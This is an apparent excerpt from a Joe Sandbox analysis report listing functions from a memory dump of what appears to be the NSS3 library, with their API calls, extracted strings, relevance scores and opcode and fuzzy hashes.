Opcode ID: 1741ab6434f88e1c3ad334c37a71b413181b23147e816c4205600dc2f8e27d85
Instruction ID: 3f7308ee7203e59bc476c432796f4bd8323ccc17ddb773bd1873d52bd13968bc
Opcode Fuzzy Hash: 1741ab6434f88e1c3ad334c37a71b413181b23147e816c4205600dc2f8e27d85
Instruction Fuzzy Hash: 14819131B002158FCB04CFAAC880ADEB3F6AF89308B158569ED15ABB41D730ED55CB99

Function 6C677F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6781BC

Strings

BINARY, xrefs: 6C678126
out of memory, xrefs: 6C67835B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 0f700a5a5788a9ffe6b6fe210131e759583ffa9643e5b3e1f7749486402852cd
Instruction ID: d3dde80e1a02f35ab4d8981d3e989940081dc346b162a89ed9808fe817b01695
Opcode Fuzzy Hash: 0f700a5a5788a9ffe6b6fe210131e759583ffa9643e5b3e1f7749486402852cd
Instruction Fuzzy Hash: 3452AE71E04218DFDB24CF99C88069DBBB2FF49318F24855AD815BB761D730AC46CBA4

Function 6C5F9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C5F9ED6

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C5F9EE4

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F9F38

Part of subcall function 6C5FD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C5F9F0B), ref: 6C5FD03B
Part of subcall function 6C5FD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C5FD04E
Part of subcall function 6C5FD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C5FD07B
Part of subcall function 6C5FD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C5FD08E
Part of subcall function 6C5FD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C5F9F59

Part of subcall function 6C5F9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C5F9C5B), ref: 6C5F9D82
Part of subcall function 6C5F9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C5F9C5B), ref: 6C5F9DA9
Part of subcall function 6C5F9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C5F9C5B), ref: 6C5F9DCE
Part of subcall function 6C5F9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C5F9C5B), ref: 6C5F9E43

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 8fe24db4f091d7fd914561870a7822a8f73d6ff1e073ce5e847b8221ea4f2ba3
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 7C112BB5F046019BF7159E659C00B9B7394AFD534CF140234E82ACB741FB62ED1A8E96

Function 6C6ACDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6AD086
PR_Malloc.NSS3(00000001), ref: 6C6AD0B9
PR_Free.NSS3(?), ref: 6C6AD138

Strings

>, xrefs: 6C6ACF5B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: b6aa23816e874241f6c32b1d70cf0adf3d36aeb472cc65403ff843cda61cf05d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: EAD17D62B455460FFB1448FD8CA13EAB7939B43378F584369D9228BBE5E61ACC43C349

Function 6C52AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

pjl, xrefs: 6C52ADA7
Pjl, xrefs: 6C52ADDB, 6C52ADF5, 6C52AE6A
0jl, xrefs: 6C52ACC0, 6C52AD22, 6C52AD5E, 6C52AE45
winUnlockReadLock, xrefs: 6C52AE9F
winUnlock, xrefs: 6C52AE18

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: 0jl$Pjl$pjl$winUnlock$winUnlockReadLock
API String ID: 0-2875713109
Opcode ID: acd6a93cd3f5a11d893a074b0feaac4ff1980b3cc8e2e3dd26ca5870cd673cb7
Instruction ID: 2b97c2f2d2344fb6abb933e67da85f38f27bbbb6d27103c35afcc4ea18097bc9
Opcode Fuzzy Hash: acd6a93cd3f5a11d893a074b0feaac4ff1980b3cc8e2e3dd26ca5870cd673cb7
Instruction Fuzzy Hash: 687181706083409FDB04CF29D884AAABBF5FF89314F14CA19F95997641E730E985CBDA

Function 6C64AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f09f91bc9bebf56848eacaf61d0f3ecc0c79fa38106ddaa8081e6c04ac1df8d0
Instruction ID: d017c68a1935f0e308cc2ccee60c0fa388ebafca4071c405dfc0b585d57a9afd
Opcode Fuzzy Hash: f09f91bc9bebf56848eacaf61d0f3ecc0c79fa38106ddaa8081e6c04ac1df8d0
Instruction Fuzzy Hash: 61F1F2B1E095168BDB04CF6AD8803AE77F1AB8E304F15C22AC911D7B44EB749991CBCD

Function 6C63DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C515001,?,00000003,00000000), ref: 6C63DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C515001,?), ref: 6C63E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C515001,?), ref: 6C63E2DA

Strings

W, xrefs: 6C63E111

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 06669b36b60f9720b704f6f16b737c0a300341cfe4d927dc8670feb353ded576
Instruction ID: 09bc56cb194af127bbe2a17bdcb28779b255643b00da2df3ced39ebe9afe10f1
Opcode Fuzzy Hash: 06669b36b60f9720b704f6f16b737c0a300341cfe4d927dc8670feb353ded576
Instruction Fuzzy Hash: 46C13931A086658BDB04CE6584807EA77B2AF86308F287169DD6C9FB41D731AC01CBF8

Function 6C600E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C601052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C601086

Strings

h(`l, xrefs: 6C600E55, 6C600EC4, 6C600F3A, 6C600FA7
h(`l, xrefs: 6C601062, 6C60105D, 6C600F37, 6C601081, 6C601082

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(`l$h(`l
API String ID: 1297977491-47565457
Opcode ID: 965a87380f5f7ae7b37e70b3eed2cc7c3a0f2fdf68b0d7e060264eff310a07f5
Instruction ID: 9be307a44f84072e22932d9660e493779dfb4caea6f4e2750e606096cdc0f422
Opcode Fuzzy Hash: 965a87380f5f7ae7b37e70b3eed2cc7c3a0f2fdf68b0d7e060264eff310a07f5
Instruction Fuzzy Hash: 50A13E71B0124A9FDF08CF99D990AEEBBB6BF49314B148129E915B7700D735EC11CBA8

Function 6C524DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pjl, xrefs: 6C524E1C, 6C524E81, 6C524FDE, 6C525047, 6C5250BB, 6C5251A3, 6C52526C
Pjl, xrefs: 6C525019, 6C5250FA, 6C525157, 6C5251DE, 6C5251F2, 6C52520D, 6C525220, 6C5252A2, 6C5252B5
0jl, xrefs: 6C524EDE, 6C524F82
winUnlockReadLock, xrefs: 6C525125

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: 0jl$Pjl$pjl$winUnlockReadLock
API String ID: 0-3907394663
Opcode ID: 2c9b57247e0456208f4d3f07a5ce6b203e0ed0b34179149c4a38116261a40708
Instruction ID: 60b41c94377ea743861059ecae58e78e0c7682f703d8997b8ee071dd44643e60
Opcode Fuzzy Hash: 2c9b57247e0456208f4d3f07a5ce6b203e0ed0b34179149c4a38116261a40708
Instruction Fuzzy Hash: 18E14C70A083408FDB44DF29D98465ABBF1FF89304F518A1EF89997350E7749985CB8A

Function 6C526F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C527067
*?[, xrefs: 6C527034, 6C527052, 6C527070
sz=[0-9]*, xrefs: 6C527049
unordered*, xrefs: 6C52702B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 407bc767fa8dc3dcfaf9db6511f7cdcf1b55cdee7dec5f2909a9bcf2f9345a73
Instruction ID: 20117c5b4c1fb56f0c4e7b0b8b17d17f53f3ee002f8e9395a3bbffcfa5a7f934
Opcode Fuzzy Hash: 407bc767fa8dc3dcfaf9db6511f7cdcf1b55cdee7dec5f2909a9bcf2f9345a73
Instruction Fuzzy Hash: D171AE32F042114BEB24CE6DCC8039EB7E29F85354F250238CD55ABBC5EA799C4A8BD1

Function 6C543EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C54463F
sqlite_, xrefs: 6C543FAA, 6C544185
sqlite_temp_master, xrefs: 6C54460F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: e0d58ae0c959856de08c84a64dc2170ca1f2928ca5cda6d1207a19ff612d9a98
Instruction ID: ea74011af087a767edfcc7df1c5871817da8b4489ecef4a489efb150393d9f00
Opcode Fuzzy Hash: e0d58ae0c959856de08c84a64dc2170ca1f2928ca5cda6d1207a19ff612d9a98
Instruction Fuzzy Hash: 2F223831BC91958FDB04CF6588606F67BF3AF46318B68D998C9E19FE42C726E841C781

Function 6C67BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C67C0B6

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 2f6b2b0d8b4a764332321c655534d9d778a9c4bc5950f1b7631aeb80735cbfa9
Instruction ID: 212ea87bbc42b1a889b1389b8f9e656df722353547d82042304379fd4cb95d24
Opcode Fuzzy Hash: 2f6b2b0d8b4a764332321c655534d9d778a9c4bc5950f1b7631aeb80735cbfa9
Instruction Fuzzy Hash: 05929274A00209DFDB25DF58C890BAEB7B2FF88308F244568D416A7B91D735EC56CB64

Function 6C513D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C513EA9

Strings

0, xrefs: 6C513DAB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: b6a83d55bbdbe1d167fd3e8abf8701ebe7c337f784d0257b60e25ca94ac637ea
Instruction ID: 52bdd3ea1a847cc875445b6eff8bc7d69951d94d1e797ba652c2555c92600d8f
Opcode Fuzzy Hash: b6a83d55bbdbe1d167fd3e8abf8701ebe7c337f784d0257b60e25ca94ac637ea
Instruction Fuzzy Hash: 62513835E4D2798AFB15867D8C783FFBBB19B83314F19432AC5A167EC0D638454A8790

Function 6C5BEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5BF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C5BF0F9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: fcfdc7a789ad24789e683e8a1826326e39a0ba700a347fa24cb8549f8d415a7c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 77919379A0121A8BCB14CF68CCA16AEBBF1FF85324F24472DD566A7BD0D730A905CB51

Function 6C5E2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C607929), ref: 6C5E2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C607929), ref: 6C5E2FE0

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3ae9498fde867e4f711fffcbe60028ecee71d0a0081bb92e072147fcd4676e30
Instruction ID: e8e2d096cae063d5d77c1883899cd10e021ee885c2c0b3f8bc7b5ed23630806c
Opcode Fuzzy Hash: 3ae9498fde867e4f711fffcbe60028ecee71d0a0081bb92e072147fcd4676e30
Instruction Fuzzy Hash: E651F471A049228FD714CF59CC80B6A73B2FF8D318F294569D9199BB21D731E946CB81

Function 6C5EED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C5EEE3D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: ad34c31ba11e078b59805b5afcadd82e670a3905c6a908e3f69f8d1e038d89dd
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2B71C2B2E117018FD718CF59D88066AB7F2ABCC314F15862DD86A97B91D7B0E940CB91

Function 6C515F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C516013

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 57d23cb6e0d9bfc0a75f48846f19f9cf3e4321a1b6dd3206af69957a42bcf0d8
Instruction ID: 4399b739d6c5525c1e7b57e834471bf64f46e570b96525b075a6e0f9774418fc
Opcode Fuzzy Hash: 57d23cb6e0d9bfc0a75f48846f19f9cf3e4321a1b6dd3206af69957a42bcf0d8
Instruction Fuzzy Hash: 3BC104B4A086068BFB04CE15CC987AAB7B2EF85328F648169D9A5D7F41DB31EC41C791

Function 6C6A5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B90: PR_Lock.NSS3(00010000,?,00000000,?,6C58DF9B), ref: 6C6A5B9E
Part of subcall function 6C6A5B90: PR_Unlock.NSS3 ref: 6C6A5BEA

